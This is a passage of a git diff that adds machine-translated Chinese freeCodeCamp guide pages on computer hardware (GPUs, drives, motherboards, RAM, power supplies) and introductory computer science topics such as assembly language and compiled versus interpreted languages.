+扩展卡的主要用途是提供或扩展主板未提供的功能。例如，原始IBM PC没有板载图形或硬盘驱动器功能。在这种情况下，显卡和ST-506硬盘控制器卡分别提供图形功能和硬盘驱动器接口。一些单板计算机没有提供扩展卡，并且可能只在板上提供集成电路（IC）插座以进行有限的更改或定制。由于可靠的多针连接器相对昂贵，一些大众市场系统（如家用电脑）没有扩展插槽，而是在主板边缘使用了卡边缘连接器，将昂贵的匹配插座置于外围设备的成本中设备。
+
+在扩展板载功能的情况下，主板可以提供单个串行RS232端口或以太网端口。可以安装扩展卡以提供多个RS232端口或多个和更高带宽的以太网端口。在这种情况下，主板提供基本功能，但扩展卡提供额外或增强的端口。今天使用的最常见的扩展卡是grapics卡。
+
+#### 更多信息：
+
+*   [扩展卡](https://en.wikipedia.org/wiki/Expansion_card)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/gpu/index.md b/client/src/guide/chinese/computer-hardware/gpu/index.md
new file mode 100644
index 0000000000..15b0476038
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/gpu/index.md
@@ -0,0 +1,98 @@
+---
+title: GPU
+localeTitle: GPU
+---
+## GPU
+
+GPU代表图形处理单元。大多数计算机使用这些来渲染视频或玩视频游戏。
+
+GPU就像CPU，但具有不同的优点和缺点。 CPU非常擅长快速运行几项任务。 GPU在同时运行许多任务方面要好得多，但速度较慢。典型的GPU可以运行超过10,000个任务，但是要同时运行这么多任务，它们必须共享内存和其他资源。 GPU通常会反复运行非常重复的任务，以免CPU浪费时间。有些CPU具有内置GPU，但拥有单独的GPU几乎总是更强大。
+
+GPU可用于计算以及视频渲染。常见的方法包括OpenACC，CUDA，OpenCL和OpenGL。一些应用程序包括GPU实现，以减少应用程序运行所需的时间。
+
+GPU最初主要用于3D游戏渲染，以提高分辨率和帧率。但是现在更广泛地利用这些功能来改善许多领域的计算工作量;例如财务建模，尖端科学研究和石油和天然气勘探。 GPU也被用作比特币挖掘的资源，因为它们能够轻松地运行重复任务而不会占用CPU的资源，这允许您在具有低端CPU的计算机上运行操作系统，同时仍然可以使用比特币使用GPU
+
+有两个主要品牌生产GPU：NVidia和AMD。他们通常被称为“绿色团队”和“红色团队”，表明他们的标志的主要颜色。
+
+着名的GPU制造商包括：Nvidia和AMD / ATI。
+
+## GPU的起源
+
+GPU的大多数原始背景可以映射到VGA（虚拟图形阵列）控制器的时代。但这些实际上并不是一个整体处理单元，而是充当显示功能的支持单元。 VGA控制器是连接到动态RAM和显示发生器的简单存储器控制器。 VGA的主要功能是接收图像数据，正确排列并将其发送到视频设备，视频设备主要是计算机监视器或连接到游戏控制台进行显示的电视屏幕。
+
+第一个成熟的图形加速处理单元由NVIDIA于1999年开发并销售，“GeForce 256”。较旧的3D加速器必须依靠CPU来执行图形计算。新的“GeForce 256”作为CPU的协处理器，将帧速率提高了50％以上并降低了总成本，从而在消费市场中扩展自己。
+
+## GPU与CPU
+
+CPU针对最小延迟进行了优化，即“在给定的时间窗口内能够执行尽可能多的属于单个串行线程的指令”。处理器必须能够在操作之间快速切换。为了在CPU上获得大量延迟，CPU中有许多基础设施，比如大型缓存可以随时执行数据，大量的无序执行控制单元以及一些ALU内核。 CPU的ISA以更通用的方式设计，并且可以执行广泛的操作。 虽然CPU是为通用计算和指令而设计的，但GPU是为图形计算而发展的。对于图形的2D / 3D渲染，需要对数百和数千个像素执行相同的计算。因此，GPU主要针对最大吞吐量进行了优化。这是在单一架构中使用大量ALU实现的。 L2缓存缩小，因为在从DRAM获取数据之前，GPU核心需要执行大量计算，从而将CPU停顿时间与大量并行性重叠。这称为延迟隐藏。
+
+## GPU架构的演变
+
+GPU最初是以图形管道的概念为蓝本的。图形管道是一个理论模型，包括如何使用GPU和软件（如OpenGL，DirectX）发送和执行图形数据的级别。管道基本上将3D空间坐标转换为2D像素化数据以供设备显示。以下是“传统固定功能图形管道”的说明，这是迄今为止普遍接受的管道。
+
+### 第0代
+
+Silicon Graphics Inc.（SGI）的“Reality Engine”板标志着GPU硬件和图形管道的出现。但该技术仍然依赖于上半年的CPU。此外，速度限制为每个时钟周期执行一个像素。该引擎使用OpenGL，一种广泛使用的2D / 3D应用程序编程。
+
+### 1stGeneration
+
+“3dfx Voodoo”（1996）演变为第一款真正的3D游戏加速器之一。它处理纹理映射，光栅化和z缓冲，但CPU仍然必须进行顶点转换。
+
+### 2ndGeneration
+
+这是第一款真正的GPU，即NVIDIA的“GeForce 256”在共同市场上发布的时刻。这一代的GPU使用了加速图形端口（AGP），提供了多种纹理，硬件几何变换，光照贴图和照明等新功能。传统的管道被称为“固定功能”管道，因为一旦开发人员将图形数据发送到GPU的管道，数据就无法更改。
+
+### 第三代
+
+通过这一代CPU，可编程流水线技术应运而生。现在，以前的不可编程部件可以由程序员编程。 2001年，NVIDIA发布了GeForce3。
+
+### 第四代
+
+随着21世纪初，第一个“完全可编程显卡”已经达到了消费者的目的。 NVIDIA GeForce FX，ATI Radeon 9700是第一款。这些GPU可以执行逐像素操作以及像素着色器和可编程顶点。但是，顶点着色器和像素着色器处理需要单独的专用硬件。
+
+### 第五代
+
+GPU正在不断发展并以其最高速率发展，而这一代GPU是第一批使用PCI-express总线的GPU。引入了多个渲染缓冲区，64位支持，纹理访问等，以及GPU内存的增加。
+
+### 第六代
+
+2006年，NVIDIA GeForce 8系列GPU的发布，通过将GPU作为大规模并行处理器引入，彻底改变了GPU产业和范围。它是第一个拥有“统一”和“可编程”着色器，或者换句话说，可编程统一处理器。统一意味着图形管道的所有过程都在一个处理器上执行，任何阶段都不需要外部单元。下面讨论基本的Unified GPU架构组件。
+
+自9XX系列NVidia GPU发布以来，各代之间的性能提升只会更好。从980Ti到1080Ti以及新推出的208Tis，性能提升了一倍多。 AMD也开始生产更好的GPU，如RX 580和Vega 64，尽管这仍然远不及Nvidia的水平。 就在最近，Nvidia推出了一系列名为RTX的GPU，其中包括2080Ti，2080和2070等高端显卡.RTX代表“光线追踪”，这是一种渲染技术，用于生成图像，但追踪光路在一个场景中。
+
+## 基本的统一GPU架构组件
+
+统一GPU架构基于许多可编程处理器的并行阵列，其中图形流水线的所有阶段，即顶点，几何，光栅化，以及像素着色器处理和同一核心上的并行计算，与早期的GPU相比。处理器阵列与固定功能处理器高度集成，用于压缩和解压缩，光栅化，光栅操作，纹理过滤，抗锯齿，视频解码和高清视频处理。
+
+以下讨论的体系结构侧重于在许多处理器核上有效地执行许多并行线程。
+
+### 处理器阵列
+
+处理器阵列由许多处理核心组成。统一的GPU处理器阵列具有典型的多线程多处理器组织结构。为了执行每个线程，涉及多处理器，并且在每个GPU多处理器（也称为流处理多处理器（SM））中，有许多流处理器，排列在队列中。所有处理器都通过互连网络连接到DRAM分区。
+
+### 多线程
+
+如前所述，GPU针对高吞吐量和延迟隐藏进行了优化。大规模多线程缩小了DRAM的内存负载延迟。由于要完成加载或提取指令，线程处于停顿状态，处理器可以执行另一个线程。此外，由于高规模多线程，GPU支持细粒度并行图形着色器编程模型和细粒度并行计算机编程模型。
+
+### 多处理器架构
+
+除了SM中的多个处理器内核外，还有特殊功能单元，多线程指令单元，指令和常量高速缓存以及共享内存。此外，每个核心由大型多线程寄存器文件（RF）组成。每个流处理器核心由整数和浮点运算单元组成，它们可以一起处理大多数操作。
+
+### SIMT
+
+流式多处理器使用“单指令多线程（SIMT）”架构。指令在称为warps的并行线程组中执行。每个并行线程属于同一类型，并在同一程序地址处一起启动。 SIMT处理器架构与SIMD架构非常相似。在SIMT中，特定指令独立地在多个并行线程中执行，而在SIMD中，在同步组中的多个数据通道中执行相同的指令。
+
+### 流处理器
+
+它执行所有基本的FP操作以及算术，比较，转换和逻辑PTX指令。 特别功能单位 一些线程指令在SFU上执行，同时在SP上执行其他线程指令。
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Graphics_processing_unit)
+*   [OpenACC的](https://www.openacc.org/)
+*   [CUDA](https://developer.nvidia.com/cuda-zone)
+*   [OpenCL的](https://www.khronos.org/opencl/)
+*   [OpenGL的](https://www.opengl.org/)
+*   [nVidia博客](https://blogs.nvidia.com/blog/2009/12/16/whats-the-difference-between-a-cpu-and-a-gpu/)
+*   [的NVidia](https://www.nvidia.com/)
+*   [AMD](http://www.amd.com/en-us/products/graphics)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/hard-drives/index.md b/client/src/guide/chinese/computer-hardware/hard-drives/index.md
new file mode 100644
index 0000000000..3a72809c1e
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/hard-drives/index.md
@@ -0,0 +1,42 @@
+---
+title: Storage Drives
+localeTitle: 存储驱动器
+---
+## 硬盘驱动器（HDD）
+
+硬盘驱动器是计算机的永久存储设备。有几种类型的硬盘驱动器：传统磁盘，新一代，固态磁盘或包含SSD和磁存储的混合磁盘。
+
+传统硬盘使用磁针和旋转磁化盘来存储数据。由于这些移动部件，硬盘驱动器很容易因跌落和/或震动而损坏。旋转盘片的电机也消耗大量电力，但是对于大容量存储而言，没有其他存储方法可以承受。
+
+硬盘有各种存储容量，有些甚至存储10TB（10万亿字节）。典型的计算机具有256GB（2.56亿字节）到1TB的存储空间。笔记本电脑通常使用固态硬盘（SSD），因为它们更快，更轻，并且不包含任何移动部件，因此不会因冲击而发生故障。对于相同的存储量，SSD通常比硬盘驱动器更昂贵。最近，一些SSD已经发布，通过使用称为NVMe的系统通过PCIe（PCI Express）总线插槽与主板连接。事实证明，这些SSD在读/写时比传统SATA SSD更快。
+
+磁头负责读取和写入数据，这些数据物理地存储在一组彼此堆叠的磁性涂层盘上 - 称为盘片。磁头位于电枢的末端。盘片的内部盘在单个臂上具有两个头部。这允许从臂上方和上方的两个盘访问数据。盘片的顶部和底部盘仅在臂的末端具有一个头部。在臂的另一端是致动器。它提供臂的移动，以从盘片的中心，主轴到盘片的最外部区域行进。将头部放置在正确的同心位置所花费的时间量称为寻道时间。一旦头部处于正确的同心空间位置，则花费更多时间等待盘旋转，使得具有所请求数据的扇区位于头部下方。这段时间称为延迟。
+
+磁头距旋转磁盘仅几纳米。据说头部在盘子上面“飞行”，因此头部和盘片之间的距离被称为“飞行高度”。磁头的设计从不接触存储数据的磁盘位置，并采用磁性涂层。如果磁头在磁盘上“触地”，则磁盘的磁头和扇区都可能被破坏，导致数据丢失（因此称为“硬盘崩溃”或“磁头崩溃”）。
+
+硬盘驱动器应CPU请求从应用程序检索和存储数据。这称为输入/输出操作 - 简称IO。当正在运行的程序需要某个数据时，CPU将从硬盘驱动器调度数据的指令。读取这段数据是一种输入操作（从CPU的角度来看）。然后，程序可以执行改变数据的计算，并且需要将结果存储回硬盘驱动器。 CPU请求将数据写回驱动器。这将是输出操作的一个示例（同样，从CPU的角度来看）。
+
+硬盘性能主要通过两个关键指标来衡量：1）响应时间，即读取或写入操作完成所需的时间; 2）IOPS是“每秒输入/输出操作”的首字母缩写。顾名思义，IOPS是一秒内最大IO操作的度量。在最低响应时间内实现最大IOPS的主要因素是硬盘驱动器的转速，以每分钟转数（RPM）为单位。常见的转速为5,400 RPM，7,200 RPM，10,000 RPM和15,000 RPM（通常标注为5.4K，7.2K，10K和15K）。具有较高转速RPM的硬盘驱动器将在磁头下方有更多的盘片空间通过IO操作（读取和写入）。具有较低RPM转速的硬盘将具有更高的机械延迟，因为较少的不动产通过头部下方。
+
+测量硬盘性能指标的一个简单工具称为IOMeter（请参阅下面的链接）。该程序非常轻巧，易于安装。一旦启动并运行，就可以运行几种不同的工作负载变化来模拟对磁盘的数据读写。分析此数据并输出读/写时间，IOPS以及其他有用指标的指标。可以保存测试以进行一致性检查，并且可以以表格或图形形式轻松解析数据。
+
+硬盘驱动器往往按用例（容量或性能）进行分类。家用电脑和一般用途的办公室工作站倾向于使用速度较慢的旋转硬盘（5.4K和7.2K），这对于存储图片和办公文件很方便。但是，例如，支持在线银行交易的大型数据库使用速度更快的10K和15K RPM硬盘驱动器，因为它们将成为企业服务器或存储阵列中的组件。然而，硬盘驱动器的性能和容量之间存在权衡。例如，目前可用的最大容量15K硬盘仅为600 GB，而5.4K和7.2K RPM的最大容量硬盘为10 TB。 600 GB 15K驱动器能够提供250 IOPS @ 3 ms响应时间（平均值）。而10 TB 7.2K TB驱动器在给定响应时间内不测量IOPS，因为它未针对IOPS中心性能用例进行优化或预期。每GB的价格，能耗和尺寸（2.5“vs 3.5”英寸）还有其他权衡。
+
+计算机将数据和文件存储在硬盘驱动器上以供以后使用由于硬盘驱动器具有移动部件，因此从硬盘驱动器读取文件比从CPU或RAM上的缓存存储器读取文件需要更长的时间。您可以将硬盘视为文件柜：存储我们现在不使用的东西的地方，但稍后需要。您的桌面上没有足够的空间存放所有文件，因此您现在将未使用的东西存放在文件柜中。电脑就是这样做的。它保留了当前正在RAM中使用的文件，以及稍后可能需要保留在硬盘驱动器上的文件。虽然RAM的访问和响应时间比硬盘驱动器快两个数量级，但它们的典型容量比典型的硬盘驱动器低1-2个数量级。您可以在文件柜中装入大量纸张，但桌面上只有少量纸张。
+
+存储在RAM中的数据据说是稍纵即逝的，而写入硬盘的数据是持久的。意味着如果电源突然熄灭，RAM中的任何数据都将丢失，并且在电源恢复并且计算机重新启动后将不会存在。但是，当电源恢复时，写入硬盘驱动器的数据将存在。因此，现代操作系统和应用程序将定期将当前在RAM中的会话和应用程序相关数据写入硬盘驱动器。这样，如果断电，在断电前3小时处理的新创建的电子表格中只输入10分钟的数据，但尚未保存到硬盘中。这些文件通常用波浪号表示，可以在临时或临时目录中找到，也可以位于“盲目录”中，其内容称为隐藏文件。
+
+## 固态硬盘（SSD）
+
+固态硬盘使用集成电路来存储数据。因此，SSD没有像HDD那样的移动部件。这使得它们不易受到物理冲击，无声运行，并且由于不需要物理定位数据而具有更快的读/写时间。
+
+SSD通常仅用作人员计算机中最常用的应用程序的引导驱动器或存储器。这是因为尽管近年来其价格已经大幅下降，但它仍然比传统硬盘昂贵得多。因此，HDD仍然用于存储大块数据，例如我们的照片和视频，或者存储在数据中心或服务器场中。
+
+#### 更多信息：
+
+*   [维基百科 - 硬盘驱动器](https://en.wikipedia.org/wiki/Hard_disk_drive)
+*   [维基百科 - 飞行高度](https://en.wikipedia.org/wiki/Flying_height)
+*   [维基百科 - 计算机数据存储](https://en.wikipedia.org/wiki/Computer_data_storage)
+*   [PCMag - SSD与HDD：有什么区别？](https://www.pcmag.com/article2/0,2817,2404258,00.asp)
+*   [数字趋势 - SSD与HDD](https://www.digitaltrends.com/computing/solid-state-drives-vs-hard-disk-drives)
+*   [IOMeter项目](http://www.iometer.org)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/index.md b/client/src/guide/chinese/computer-hardware/index.md
new file mode 100644
index 0000000000..195d48817e
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/index.md
@@ -0,0 +1,63 @@
+---
+title: Computer Hardware
+localeTitle: 电脑硬件
+---
+## 电脑硬件
+
+在本节中，我们将探讨现代计算机的各种硬件组件。
+
+## 个人电脑的一部分
+
+### 中央处理器（CPU）
+
+中央处理单元（CPU）是计算机内的电子电路，其通过执行由指令指定的基本算术，逻辑，控制和输入/输出（I / O）操作来执行计算机程序的指令。
+
+![英特尔酷睿i7](http://ecx.images-amazon.com/images/I/51MOTjmtg2L.jpg)
+
+### 扩展卡（例如GPU）
+
+图形处理单元（GPU）是专用电子电路，其被设计为快速操纵和改变存储器以加速在用于输出到显示设备的帧缓冲器中的图像的创建。
+
+![Nvidia Titan XP](https://cdn.arstechnica.net/wp-content/uploads/2017/04/nvidia-titan-x.jpg)
+
+### 存储（SSD或HDD）
+
+固态硬盘（SSD）或硬盘驱动器（HDD）用于在计算机上存储信息。它即使在断电后也能保留内存。
+
+![SSD](https://images10.newegg.com/NeweggImage/ProductImage/20-147-373-09.jpg)
+
+### 记忆（RAM）
+
+随机存取存储器（RAM）是计算机数据存储的一种形式，其存储当前正在使用的数据和机器代码。随机存取存储器设备允许在几乎相同的时间内读取或写入数据项，而不管存储器内的数据的物理位置如何。
+
+![内存](https://images10.newegg.com/NeweggImage/ProductImage/20-232-476-S01.jpg)
+
+### 案件
+
+案例用于容纳计算机的所有组件。
+
+![案件](https://images-na.ssl-images-amazon.com/images/I/41Wq97Jk20L._SL500_AC_SS350_.jpg)
+
+### 电源
+
+电源是向电负载供应电能的电子设备。
+
+![电源](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/SFX_PC-PSU_Delta_IMG_9760.JPG/620px-SFX_PC-PSU_Delta_IMG_9760.JPG)
+
+### 母板
+
+主板保持并允许系统的许多关键电子组件（例如中央处理单元（CPU）和存储器）之间的通信，并为其他外围设备提供连接器。
+
+![母板](https://fthmb.tqn.com/mmTUdCN6UBGIKlkEggGq4fpV-3k=/768x0/filters:no_upscale()/gig-57c732ed3df78c71b60e7aa5.jpg)
+
+### 输入和输出设备（例如键盘和鼠标）
+
+输入/输出设备是人类操作员或其他系统用于与计算机通信的任何硬件。
+
+![I / O设备](https://www.clasohlson.com/medias/sys_master/9225929949214.jpg)
+
+### 监控
+
+计算机监视器是以图形形式显示信息的输出设备。
+
+![监控](https://assets.pcmag.com/media/images/523934-dell-ultrasharp-34-curved-monitor-u3417w.jpg?thumb=y)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/motherboard/index.md b/client/src/guide/chinese/computer-hardware/motherboard/index.md
new file mode 100644
index 0000000000..6f9abfa46c
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/motherboard/index.md
@@ -0,0 +1,32 @@
+Types of Motherboards. Motherboards come in different sizes, known as form factors. The most common motherboard form factor is ATX. The different types of ATX are known as micro-ATX (sometimes shown as µATX, mini-ATX, FlexATX, EATX, WATX, nano-ATX, pico-ATX, and mobileATX).localeTitle: 母板
+---
+## 标题：主板
+
+## 母板
+
+主板是连接层，允许计算机的组件相互交互。主板通常具有用于随机存取存储器（RAM），硬盘驱动器，图形处理单元（GPU）和中央处理单元（CPU）的连接。在台式机中，主板是所有这些组件都连接到的物理板。然而，在笔记本电脑中，由于笔记本电脑的空间限制，主板通常集成了一些这些组件。
+
+主板为计算机的组件提供电源和连接，并充当所有组件间通信的交换机。例如，如果CPU需要处理存储在RAM中的信息，则主板提供CPU和RAM之间的连接，称为存储器总线，以允许数据访问。主板包括用于扩展卡（包括GPU），RAM和硬盘驱动器的总线。
+
+主板的顶级制造商是INTEL，ASUS，ACER，GIGABYTE，IBM，SIMMTRONICS等等。
+
+## 主板的部分
+
+如果你打开电脑并取出主板，你可能会对所有不同部分感到困惑。根据计算机的品牌和型号，它可能看起来像这样。 要了解计算机的工作原理，您无需了解主板的每个部件。但是，了解一些更重要的部件以及主板如何将计算机系统的各个部分连接在一起是很好的。以下是一些典型的部分：
+
+*   CPU插槽 - 实际CPU直接焊接到插槽上。由于高速CPU会产生大量热量，因此CPU插槽旁边的风扇有散热片和安装点。 请注意，CPU仅支持单个插槽类型，因此它与主板插槽匹配才能工作。套接字类型通常每隔几代就会更改一次，并且每个标签也会有所不同（消费级CPU，HEDT，服务器CPU）
+*   用于将电源分配给CPU和其他组件的电源连接器。
+*   系统主存储器的插槽，通常采用DRAM芯片的形式。
+*   芯片形成CPU，主存储器和其他组件之间的接口。在许多类型的主板上，这被称为北桥。该芯片还包含一个大型散热器。近年来，北桥的功能已越来越多地集成到CPU本身中。
+*   第二个芯片控制输入和输出（I / O）功能。它不直接连接到CPU，而是连接到北桥。该I / O控制器称为南桥。北桥和南桥的组合被称为芯片组。
+*   几个连接器，提供输入和输出设备与主板之间的物理接口。南桥处理这些连接。
+*   用于存储文件的一个或多个硬盘驱动器的插槽。最常见的连接类型是集成驱动电子设备（IDE）和串行高级技术附件（SATA）。
+*   只读存储器（ROM）芯片，包含固件或计算机系统的启动指令。这也称为BIOS。
+*   用于视频或图形卡的插槽。有许多不同类型的插槽，包括加速图形端口（AGP）和外围组件互连高速（PCIe）。 附加插槽，用于连接外围组件互连（PCI）插槽形式的硬件。
+
+#### 更多信息：
+
+*   [母板](https://www.computerhope.com/jargon/m/mothboar.htm)
+*   [芯片组（维基百科）](https://en.wikipedia.org/wiki/Chipset)
+
+主板类型。 主板有不同的尺寸，称为外形尺寸。最常见的主板外形是ATX。不同类型的ATX被称为micro-ATX（有时显示为μATX，mini-ATX，FlexATX，EATX，WATX，nano-ATX，pico-ATX和mobileATX）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/power-supply/index.md b/client/src/guide/chinese/computer-hardware/power-supply/index.md
new file mode 100644
index 0000000000..8ca38216e8
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/power-supply/index.md
@@ -0,0 +1,13 @@
+---
+title: Power Supply
+localeTitle: 电源
+---
+## 电源
+
+电源单元（PSU）为计算机供电。它将交流电转换为内部组件的稳定低压直流电。
+
+PSU通常不是用户可维修的。为了您的安全，永远不要打开电源装置是明智的。
+
+#### 更多信息：
+
+*   [电源](https://en.wikipedia.org/wiki/Power_supply_unit_(computer))
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/ram/index.md b/client/src/guide/chinese/computer-hardware/ram/index.md
new file mode 100644
index 0000000000..544aef734b
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/ram/index.md
@@ -0,0 +1,29 @@
+---
+title: RAM
+localeTitle: 内存
+---
+## 内存
+
+RAM代表随机存取存储器，或者称为**主存储器** ， **主存储器**或**系统存储器** 。它是一台计算机硬件，用于存储计算机当前正在处理的数据。  
+与硬盘驱动器不同，RAM是易失性存储器，需要电源才能保持数据的可访问性。如果计算机已关闭，则RAM中包含的所有数据都将丢失。新用户经常将RAM与磁盘驱动器空间混淆。有关[内存](https://www.computerhope.com/jargon/m/memory.htm)和存储之间的比较，请参阅[内存](https://www.computerhope.com/jargon/m/memory.htm)定义。  
+
+#### RAM的类型：
+
+RAM有两种主要类型：静态（SRAM）和动态（DRAM）。静态RAM使用触发器构建，速度非常快，但很难制作大尺寸。 Dyanmic RAM使用电容器构建，速度相当快，但需要定期“刷新”以保持电容器的电荷。由于速度和空间限制，SRAM通常更靠近CPU使用，而DRAM用作主存储器。
+
+封装RAM的一些示例是：DIMM，RIMM，SIMM，SO-DIMM和SOO-RIMM。下面是512 MB DIMM计算机内存模块的示例图像，这是台式计算机中的典型RAM。该内存模块将安装在主板上的一个内存插槽中。
+
+![内存](https://images-na.ssl-images-amazon.com/images/I/41kVnWQebtL._SL256_.jpg)
+
+#### RAM速度：
+
+RAM模块的速度等级表示其数据传输速率，并且几乎总是以兆赫兹（Mhz）表示。数字越快，计算机存储和检索存储在本地内存中的数据的速度就越快。根据您的计算机使用的DDR内存版本，精确速度等级的公式会略有变化。它不再仅仅是时钟速度的表达，就像处理器一样，而是硬件因素的组合。但总的来说，越快越好。像GPU和CPU一样，RAM也可以超频。为了实现更快的速度，用户必须在BIOS中启用XMP（Intel）或AMP（AMD）配置文件。 在大多数计算机中规定RAM速度粗糙的标准是DDR3，它仍然被广泛采用并支持2133Mhz的限制。近年来发布了一种新标准DDR4，它承诺提供更广泛的时钟速度，降低功耗和延迟。
+
+#### 更多信息：
+
+*   [RAM](http://www.webopedia.com/TERM/R/RAM.html) 。
+*   [静态RAM](https://en.wikipedia.org/wiki/Static_random-access_memory)
+*   [动态RAM](https://en.wikipedia.org/wiki/Dynamic_random-access_memory)
+*   [RAM的类型](http://www.computermemoryupgrade.net/types-of-computer-memory-common-uses.html) 。
+*   [笔记本电脑内存买家指南](https://www.lifewire.com/laptop-memory-buyers-guide-833024)
+*   [维基百科](https://en.wikipedia.org/wiki/Random-access_memory) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-hardware/rom/index.md b/client/src/guide/chinese/computer-hardware/rom/index.md
new file mode 100644
index 0000000000..513e4c77ab
--- /dev/null
+++ b/client/src/guide/chinese/computer-hardware/rom/index.md
@@ -0,0 +1,11 @@
+---
+title: ROM
+localeTitle: ROOM
+---
+## 只读存储器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-hardware/rom/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/assembly-language/index.md b/client/src/guide/chinese/computer-science/assembly-language/index.md
new file mode 100644
index 0000000000..9e0af8e261
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/assembly-language/index.md
@@ -0,0 +1,21 @@
+---
+title: Assembly Language
+localeTitle: 汇编语言
+---
+## 汇编语言
+
+汇编语言是更高级语言（C ++，Java等）和机器代码（二进制）之间的接口。对于编译语言，编译器将更高级别的代码转换为汇编语言代码。
+
+每个CPU系列都定义了自己的指令集架构（ISA），这是CPU可以执行的一组基本指令，无需进一步转换或转换。 编译器将复合高级复合指令分解为ISA中可用的操作。 目前使用的一些常见的ISAS包括MIPS，ARM，Intel x86，RISC-V。
+
+汇编程序将汇编指令分解为各自的二进制表示形式，并使用计算机的显式寄存器和内存地址替换汇编代码的通用地址。
+
+执行时间和控制至关重要的代码可以直接在汇编程序中编写。然而，这是以延长开发时间和使开发更难为代价的。还应该注意的是，已经进行了大量研究，使编译器优化自动生成的代码。
+
+汇编语言主要用于以下情况：
+
+*   需要使用高级语言中不可用的CPU指令。
+*   没有高级语言来编程某些类型的处理器。
+*   在新的ISA上为更高级语言实现编译器。 ![代码级别的图像](https://raw.githubusercontent.com/colbybanbury/assemblyPicture/master/Screenshot%20from%202017-10-14%2014-03-06.png)
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/compiled-versus-interpreted-languages/index.md b/client/src/guide/chinese/computer-science/compiled-versus-interpreted-languages/index.md
new file mode 100644
index 0000000000..f6bd55817c
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/compiled-versus-interpreted-languages/index.md
@@ -0,0 +1,68 @@
+---
+title: Compiled Versus Interpreted Languages
+localeTitle: 编译与解释语言
+---
+## 编译与解释语言
+
+每个程序都是一组指令，无论是添加两个数字还是通过互联网发送请求。编译器和解释器采用人类可读的代码并将其转换为计算机可读的机器代码。在编译语言中，目标机器直接翻译程序。在解释语言中，源代码不是由目标机器直接翻译的。相反，一个_不同的_程序，即解释器，读取和执行代码。
+
+### 好吧，但是是什么_实际上_意味着？
+
+所以，假设你有一个想要制作的鹰嘴豆泥配方，但它是古希腊语。作为一名非古希腊语的演讲者，你有两种方式可以遵循它的指示。
+
+首先是如果有人已经为你翻译成英文。你（以及任何能说英语的人）可以获得英文版本并制作鹰嘴豆泥。这是编译版本。
+
+第二个是如果你有一个认识古希腊的朋友。你的朋友可以坐在你身边，随时随地将古希腊语翻译成英语。在这种情况下，您的朋友是翻译。这是解释版本。
+
+### 编译语言
+
+编译语言直接转换为处理器可以执行的机器代码。因此，与解释语言相比，它们的执行速度更快，效率更高。它们还使开发人员能够更好地控制硬件方面，例如内存管理和CPU使用率。
+
+编译语言需要“构建”步骤 - 它们需要首先手动编译。每次需要进行更改时，都需要“重建”程序。在我们的鹰嘴豆泥示例中，整个翻译都是在它发送给您之前编写的。如果原作者决定使用不同种类的橄榄油，整个食谱需要再次翻译然后发送给您。
+
+纯编译语言的示例是C，C ++，Erlang，Haskell，Rust和Go。
+
+### 口译语言
+
+解释器将逐行运行程序并执行每个命令。现在，如果作者认为他想要使用不同种类的橄榄油，他可以将旧的橄榄油​​刮掉并添加新的橄榄油。然后，您的翻译朋友可以随时向您传达这一变化。
+
+曾经知道，解释语言比编译语言慢得多。但是，随着[即时编译的发展](https://guide.freecodecamp.org/computer-science/just-in-time-compilation) ，这种差距正在缩小。
+
+常见解释语言的示例是PHP，Ruby，Python和JavaScript。
+
+### 一个小警告
+
+大多数编程语言都可以具有编译和解释的实现。语言本身不一定是编译或解释的。然而，为简单起见，它们通常被称为这样。
+
+严格地说，术语解释语言和编译语言没有很好地定义，因为理论上，任何编程语言都可以被解释或编译。在现代编程语言实现中，平台提供这两种选项越来越受欢迎。 例如，Python既可以作为编译程序执行，也可以作为交互模式下的解释语言执行。
+
+**理论上，大多数命令行工具，CLI和shell都可以归类为解释语言。**
+
+### 的优点和缺点
+
+#### 编译语言的优点
+
+由于翻译过程的开销，在编译时编译为本机代码的程序通常比在运行时翻译的程序更快。
+
+#### 编译语言的缺点
+
+最显着的缺点是： -
+
+*   在测试之前完成整个编译步骤所需的额外时间，以及
+*   生成的二进制代码的平台依赖性。
+
+#### 口译语言的优点
+
+解释语言为实现提供了一些比编译实现更多的灵活性。因为解释器本身执行源程序代码，所以代码本身与平台无关（例如，Java的字节代码）。其他功能包括动态类型和较小的可执行程序大小。
+
+#### 口译语言的缺点
+
+与编译语言相比，最显着的缺点是典型的执行速度。
+
+#### 更多信息：
+
+[维基百科 - 编译语言](https://en.wikipedia.org/wiki/Compiled_language)
+
+[维基百科 - 口译语言](https://en.wikipedia.org/wiki/Interpreted_language)
+
+[programmerinterview.com文章 - 编译语言和解释语言有什么区别？](http://www.programmerinterview.com/index.php/general-miscellaneous/whats-the-difference-between-a-compiled-and-an-interpreted-language/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/compilers/index.md b/client/src/guide/chinese/computer-science/compilers/index.md
new file mode 100644
index 0000000000..1b4c6bdf71
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/compilers/index.md
@@ -0,0 +1,66 @@
+---
+title: Compilers
+localeTitle: 编译器
+---
+## 编译器
+
+### 程序设计
+
+从本质上讲，准系统计算机（也称为存储程序计算机）只不过是一台知道如何读取固定指令集中写入的步骤并执行相同步骤的机器。计算机理解的指令集非常具体。这也称为机器语言（ **操作码** ）。机器语言通常称为二进制代码。
+
